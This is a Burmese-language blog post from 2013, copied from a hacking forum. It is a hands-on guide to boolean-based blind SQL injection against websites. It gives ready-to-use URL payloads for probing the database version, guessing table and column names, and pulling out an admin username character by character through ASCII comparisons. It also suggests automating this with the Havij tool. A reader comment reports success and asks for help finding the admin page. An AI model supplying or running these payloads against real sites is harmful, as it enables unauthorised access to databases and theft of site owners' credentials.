ကြ်န္ေတာ္အားလံုးကိုေလးစားလို႔ ဒီဘေလာ့ကိုလုပ္တာပါ။ ေလ့လာခ်င္တာလဲပါတာေပါ့ဗ်ာ။ တင္စရာရွိတာေလးေတြတင္သြားမွာပါ။ ေက်းဇူးတင္သူေတြကေတာ့ ကိုဘီ(beyondcode) ရယ္ ကိုကုတ္ (cyb3r cod3r) တို႔ပဲျဖစ္ပါတယ္။ ကြ်န္ေတာ့္ ဘေလာ့နာမည္က လူစီဖာရဲ႕ က်ိန္စာမ်ားဆိုလို႔ လန္႔မသြားၾကပါနဲ႔ဦးဗ်ာ။ ကြ်န္ေတာ္က ကြ်န္ေတာ့္ bro ေတြဆီကရတဲ့ အသိပညာေလးေတြ ကို တစ္ဆင့္ေဝမွ်ခ်င္ယံုပါ။
Sunday, February 10, 2013
Blind Sql Inj3cti0n Yummy Guide
ပထမဆုံးေျပာခ်င္တာက … Blind ကသိပ္အခ်ိန္ကုန္လုိ.
Tool သုံးမယ္ဆုိရင္ဘာမွေ၀ဖန္စရာမရိွပါဘူး…. သုံးခ်င္တာသုံးၾကပါ … ဟဲဟဲ…
ဒါေပမယ့္လည္း … ဘယ္လုိဘယ္လုိ … လုပ္သလဲဆုိတဲ့နည္းေလးသိထားရင္ေကာ မေကာင္းဘူးလား… ??
ဒါေၾကာင့္ဒီဟာကုိေရးတာပါ…
Blind ကိုဘာလုိ.သံုးရသလဲဆုိေတာ့ … DB ထဲမွာ “information_schema” ဆုိတဲ့ Table ေလးမရိွတာေၾကာင့္ Union ေတြဘာေတြနဲ. Data ကုိထုတ္လုိ.မရဘူး … (version ေအာက္ေနလုိ.ေပါ့)
[+]Blind ၂မ်ိဳးရွိပါတယ္ …
၁.Boolean Based (normal blind)
2.Time Based (time delay)
အဲကလုိေပါ့ …
[1]Boolean
ဥပမာ … ၀တုိ.မွာ … ေဟာဒီ error ျဖစ္ေနတဲ့ ဆုိဒ္ေလးရွိတယ္… ဆုိပါစုိ.
www.နတ္ဆုိး.net/index.php?catid=13
#သူ.ကို single quote ( ‘ ) ေလးနဲ.စမ္းျပီး… ေနာက္ဆုံး version ေအာက္ေနေတာ့ ေရွ.ဆက္လုိ.မရဘူးဆုိပါေတာ့
#တခ်ိဳ.ဆုိဒ္ေတြက … single-quote(‘) နဲ.စမ္းမရဘူး … ဒါဆုိ Boolean Logic (True or False)ကုိသုံးပါမယ္ … Boolean ကေတာ့ အလယ္ရာစုက…သခၤ်ာပညာရွင္ၾကီးပါ … Programmer ကုိကုိေတြ ေကာင္းေကာင္းသိၾကပါတယ္…
အဲဒီေတာ့ ေစာေစာကဆုိက္ရဲ. Variable ေနာက္မွာ
and 1=1
ဆုိျပီးထည့္ကာစမ္းလုိက္ပါမယ္…
www.နတ္ဆုိး.net/index.php?catid=13 and 1=1
webpage ကပုံမွန္ပဲတက္လာတယ္ … no error
ဘာလုိ.ဆုိေတာ့ … တစ္က တစ္နဲ.ညီတယ္ဆုိတာ ကေလးေတာင္တိတယ္…ေလ… ဘာလို.error ျပရမွာလဲဟုတ္စ…
ဒီတစ္ခါ
and 1=2
ဒါဆုိရင္ link က
www.နတ္ဆုိး.net/index.php?catid=13 and 1=2
webpage ကုိသတိထားၾကည့္ပါ…. ပုံတစ္ခ်ိဳ. … စာတစ္ခ်ဳိ.ေျပာက္ေနျပီဆုိိ… error ေပါက္ေနပါျပီ…
1=2 ပဲစမ္းရမယ္လုိ. ပုံေသမရိွပါဘူး… logic အရမွားေနတာေတြၾကိဳက္တာစမ္းလုိ.ရတယ္…. ဥပမာ…
www.နတ္ဆုိး.net/index.php?catid=13 100000000001-100000000001=0
www.နတ္ဆုိး.net/index.php?catid=13 100000000001-100000000001=2
အဲလုိမ်ိဳးလဲရေသးတယ္…
#Version
and substring(@@version,1,1)=VERSION
version ဆိုတဲ့ေနရာေလးမွာ 4 တစ္ခါ 5 တစ္ခါထည့္ပါမယ္…
ဒီေတာ့ျဖစ္လာမယ့္ ပုံစံေလးက…
www.နတ္ဆုိး.net/index.php?catid=13 and substring(@@version,1,1)=4
page မွန္မွန္ကန္ကန္တက္တဲ့ဟာက … အဲဒီ့ version ေပါ့ … ဟုတ္ဖူူးလား…
#TableName
and (SELECT 1 from TABLENAME limit 0,1)=1
table-name ဆုိတဲ့ေနရာမွာ … ကုိယ္ခန္.မွန္းလုိ. ရသေလာက္ tblname ေတြခန္.မွန္းျပီးထည့္ပါ…
ဒီေတာ့ျဖစ္လာမယ့္ပုံစံက…
www.နတ္ဆုိး.net/index.php?catid=13 and (SELECT 1 from မရွိတဲ့tablename limit 0,1)=1
ဒါဆုိ. … tablename ကတကယ္မရွိတာေၾကာင့္ page က error ေတြနဲ.တက္လာပါတယ္… ဒါဆုိဆက္ျပီးစမ္းပါ …
users ဆုိတဲ့ table တစ္ခုခ်ိတယ္.... ဆုိပါစုိ.
www.နတ္ဆုိး.net/index.php?catid=13 and (SELECT 1 from users limit 0,1)=1
users ဆုိတဲ့ Table ရွွိတာေၾကာင့္ page ကပုံမွန္တက္လာပါျပီ … notepad မွာ ကုိုယ္သိျပီးတဲ့ tablename ကုိ ခဏမွတ္ထားပါ….
#Columns
and (SELECT substring(concat(1,ColumnName),1,1) from TableName limit 0,1)=1
TableName = ေစာေစာက ကုိယ္သိျပီးတဲ့ tblname
ColumnName = အခုကုိယ္မွန္းထည့္ရမယ့္ colname
ဒါဆုိ ပုံစံက …
www.နတ္ဆုိး.net/index.php?catid=13 and (SELECT substring(concat(1,မရွိတဲ့Columnname),1,1) from users limit 0,1)=1
page ပုံမွန္မတက္ပါ… ဘာလုိ.ဆုိေတာ့ … column name တကယ္ မရွိတာေၾကာင့္ပါ…
admin ဆုိတဲ့ ... column ရွိတယ္ဆုိပါစုိ.
www.နတ္ဆုိး.net/index.php?catid=13 and (SELECT substring(concat(1,admin),1,1) from users limit 0,1)=1
page ပုံမွန္တက္လာျပီ… ဒါဆုိ admin ဆိုတဲ့ column ရိွလုိ.ေပါ့
#Getting Data
အခု data ထုတ္ဖုိ. … ေအာက္က query ကုိသုံးမယ္…
ascii(substring((SELECT concat(COLUMN) from TABLE),CHARACTER NUMBER,1))>ASCII VALUE HERE
COLUMN = ေစာေစာကကုိယ္သိခဲ့တဲ့ admin column
TABLE = ေစာေစာကကုိယ္သိခဲ့တဲ့ table name
www.asciitable.com ကုိေသာ္လည္းေကာင္း … hackbar က text-hex ကုိေသာ္လည္းေကာင္း http://easycalculation.com/ascii-hex.php ကုိေသာ္လည္းေကာင္းသြားပါ
ASCII VALUE HERE= ဆိုတဲ့ေနရာမွာ … data ရဲ. Ascii value ေတြကုိမွန္းထည့္မွာပါ
ပုံမွန္ site ေတြမွာ username ကုိ special Character ေတြ ...ေပးမထည့္ပါ ... ဒါေၾကာင့္ special character တစ္ခုျဖစ္တဲ့ @ နဲ. စျပီးစစ္ပါမယ္
@ ရဲ. Ascii value က 64 ပါ … ဒါေၾကာင့္အခုလုိ …
and ascii(substring((SELECT concat(admin) from users WHERE id=1),1,1))>64
page မွန္မွန္ကန္ကန္မတက္ဘူး… ဒါဆုိ… username က @ နဲ.မစတာေသခ်ာသြားျပီ … 64 ကုိဆက္တိုးျပီးမွန္းၾကည့္ပါတယ္….
ဆုိပါစုိ. Admin name က john လုိ.
J ရဲ. Ascii value က 106
ဒါေၾကာင့္ပုံစံက ….
and ascii(substring((SELECT concat(admin) from users WHERE id=1),1,1))>105
page မွန္မွန္ကန္ကန္တက္လာမယ္ … ဘာလုိ.ဆုိေတာ့ j ဆုိတဲ့ value ကတကယ္ရွိေနလုိ. Ascii value က 105 …
အဲဒီမွာ 106 လုိ.ေျပာင္းထည့္ၾကည့္လိုက္ရင္… error တက္လာမယ္ ဒါဆုိ. … 106ကို table မွာသြားဖတ္ရင္ … j လုိ.ေတြ.ရလိမ့္မယ္…
ခ်ဳံေျပာရရင္ … error မတက္မခ်င္းေရွ.တုိး… error တက္ရင္ရပ္ … ျပီးရင္ table မွာသြားဖတ္ေပါ့ ….
ပထမတစ္ေနရာျဖစ္တဲ့ 1,1 ကျပီးသြားျပီ…
ဒုတိယေနရာျဖစ္တဲ့ 2,1 ကုိေစာေစာကနည္းအတုိင္းစမ္းပါ… “O”ရရင္…
စုစုေပါင္း.. 2 လုံးရပါျပီ… “ j၀ “ ဒီနည္းအတုိင္း…. ဆက္ျပီးစမ္းၾကည့္ပါ…
ေတာ္ေတာ္ကုိ …အခ်ိန္ကုန္တဲ့ method မုိ. … ဦးဦး mhu@larm ေပးထားတဲ့
List of Table & columns ေတြကုိ … copy paste လုပ္ျပီး… Havij လုိ tool မ်ိဳးမွာ … ထပ္ေပါင္းထည့္ေပးလုိက္ရင္တူူတုိ.က …. AUTO လုပ္ေပးမွာေပါ့… ဟုတ္ဖူးလား….
[2]Time delay ကုိေရးခ်င္ေတာ့ဖူး…. ဘာလုိ.ဆုိေတာ့ … ကိုယ္ႏိုင္ငံ connection ကသိတဲ့အတုိင္းပဲ … အဲဒီ့နည္းက … page loading လုပ္မယ့္အခ်ိန္ကုိ … ကန္.သတ္လုိက္ျပီး… error ေပါက္မေပါက္စစ္တာ …
ဒီမွာစစ္ေနရင္ေတာ့ … ၁နာရီၾကာမွ တစ္ခါတက္တဲ့ loading ဆုိေတာ့ …. ဟူး……
G00Gle မွာအမ်ားၾကီးပါ… ရွာၾကည့္ၾကည့္ေပါ့… မေတြ.ရင္လည္းေျပာေပ့ါ ….
ဒီနည္းေတြပဲလားဆုိေတာ့ ... ဟုတ္ပါဖူး... တျခားနည္းေတြလည္းရွိေသးတာေပါ့
Error Based နဲ.လည္း... ထုိးလုိ.ရပါေသးတယ္...
copy from http://mmhackforums.com//index.php?%2Ftopic%2F814-blind-sql-inj3cti0n-yummy-guide%2F
Subscribe to:
Post Comments (Atom)
ရေတာ့ရတယ္အစ္ကို admin page ႐ွာမေတြ႔လို႔ကူပါဦး
ReplyDelete